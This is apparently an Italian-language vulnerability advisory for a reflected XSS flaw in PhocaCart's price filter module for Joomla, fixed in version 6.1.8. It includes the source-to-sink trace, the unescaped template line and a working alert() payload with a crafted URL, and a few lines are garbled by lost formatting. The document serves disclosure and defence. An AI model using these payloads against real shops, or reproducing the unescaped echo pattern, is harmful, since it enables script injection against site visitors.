
XSS riflesso tramite i parametri del filtro price_from & price_to in PhocaCart
PhocaCart ≤ 6.1.7 — Un attaccante non autenticato inietta JavaScript arbitrario tramite un URL di filtro prezzo appositamente costruito
PhocaCart 6.1.7 per Joomla è vulnerabile a Cross-Site Scripting (XSS) riflessa tramite i parametri GET price_from e price_to quando il modulo mod_phocacart_filter è installato e pubblicato. I parametri vengono elaborati utilizzando il filtro di input 'string' di Joomla, che applica solo strip_tags() — non applica . I valori grezzi vengono stampati direttamente negli attributi HTML del modulo di filtro prezzo generato dal modulo .
htmlspecialchars()value=""mod_phocacart_filterUn attaccante consegna un URL appositamente costruito a una vittima. Quando la vittima carica la pagina, il gestore di eventi iniettato viene eseguito nel suo browser. Non è richiesta alcuna autenticazione. L'attacco richiede che mod_phocacart_filter (un modulo distribuito separatamente) sia installato e pubblicato.
| COMPONENTE | VULNERABILE | TESTATO SU | CORRETTO |
|---|---|---|---|
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
Tipo: XSS riflessa (CWE-79)
Autenticazione richiesta: Nessuna — frontend pubblico del negozio
Token CSRF richiesto: No (richiesta GET)
File sink: site/layouts/form_filter_horizontal_text.php:65,71
Il filtro di input 'string' di Joomla chiama strip_tags() — rimuove i tag HTML ma lascia i caratteri speciali HTML come ", ' e > non codificati. I parametri GET price_from e price_to vengono recuperati con questo filtro e memorizzati in $data['getparams']. I file di template stampano questi valori direttamente negli attributi value="" senza chiamare htmlspecialchars(), consentendo l'iniezione nel contesto dell'attributo.
Flusso dei dati — dalla sorgente al sink:
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ filtro 'string' di Joomla = solo strip_tags()
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [invariato!]
filter.php:494 $inA[] = $v // nessuna codifica
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65:
└─ <input type="text" value="<?php echo $d['getparams'][0]; ?>" /> // → NO htmlspecialchars()
→ Genera: value="" onmouseover="alert(document.domain)"
→ XSS si attiva onmouseover
FORM_FILTER_HORIZONTAL_TEXT.PHP:65 — SINK VULNERABILE
<input type="text" class="form-control" name="pricefrom"
value="<?php echo $d['getparams'][0]; ?>" <!-- NO htmlspecialchars() -->
id="phPriceFrom..." />
Lo stesso schema di sink esiste anche in form_filter_text.php:81,87 (variante con layout verticale). Entrambi i parametri price_from e price_to sono ugualmente vulnerabili.
L'attaccante costruisce un URL che punta alla vista degli articoli del negozio con un payload di gestore di eventi iniettato nel parametro price_from. Il payload esce dal contesto dell'attributo value="".
Payload (grezzo): " autofocus onfocus="alert(document.domain)
URL-encoded: %22%20autofocus%20onfocus%3D%22alert(document.domain)
URL costruito:
http://TARGET/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
Quando la vittima apre l'URL costruito, la pagina degli articoli del negozio genera il modulo di filtro prezzo. Gli attributi iniettati sono presenti nell'elemento <input>. Con il payload autofocus onfocus, JavaScript viene eseguito immediatamente al caricamento della pagina senza alcuna ulteriore interazione da parte dell'utente.
HTML generato (vulnerabile):
<input type="text" class="form-control" name="pricefrom"
value="" autofocus onfocus="alert(document.domain)"
id="phPriceFromTopricefrom" />

L'XSS si attiva nel browser della vittima — alert(document.domain) conferma il contesto di esecuzione nel frontend del negozio